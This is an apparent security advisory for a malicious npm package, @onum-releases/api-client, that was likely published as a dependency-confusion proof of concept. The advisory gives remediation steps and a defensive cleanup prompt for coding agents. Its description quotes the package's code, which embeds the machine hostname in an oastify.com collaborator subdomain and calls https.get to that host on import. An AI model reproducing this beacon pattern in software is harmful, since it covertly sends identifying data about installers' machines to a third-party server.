# MAL-2026-6122: Malicious code in @onum-releases/api-client (npm)


- **Type:** Malicious package
- **Package:** `@onum-releases/api-client` (npm)
- **Published:** 18 Jun 2026

## What is MAL-2026-6122?

MAL-2026-6122 is a malicious package in @onum-releases/api-client, published on 18 Jun 2026. 

### Official description

On require(), index.js reads os.hostname(), embeds it as a subdomain label under a Burp Collaborator (oastify.com) host, and issues an https.get to that host (index.js lines 4-7: 'var host = \'api-client.\' + h + \'.200majoeu01dk02xnjdajro1isojc90y.oastify.com\'; https.get({ host: host, path: \'/api-client\', timeout: 4000 },...)'). Both the DNS resolution and the TLS SNI/Host header transmit the installer's hostname out-of-band to an attacker-controlled collaborator subdomain. Although package.json describes the package as a 'Security PoC placeholder - benign, no runtime payload', the shipped code does perform the exfiltration on every consumer that imports the module. The package appears to be a dependency-confusion proof-of-concept against the @onum-releases scope; regardless of intent, installers that pull it leak host identifiers to a third-party OOB server.

## What should I do about MAL-2026-6122?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6122 is a malicious package: @onum-releases/api-client (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6122/ (Markdown: https://insights.sbomify.com/MAL-2026-6122/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6122

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-6122/
Summaries are generated and may contain mistakes; the official description above is the record.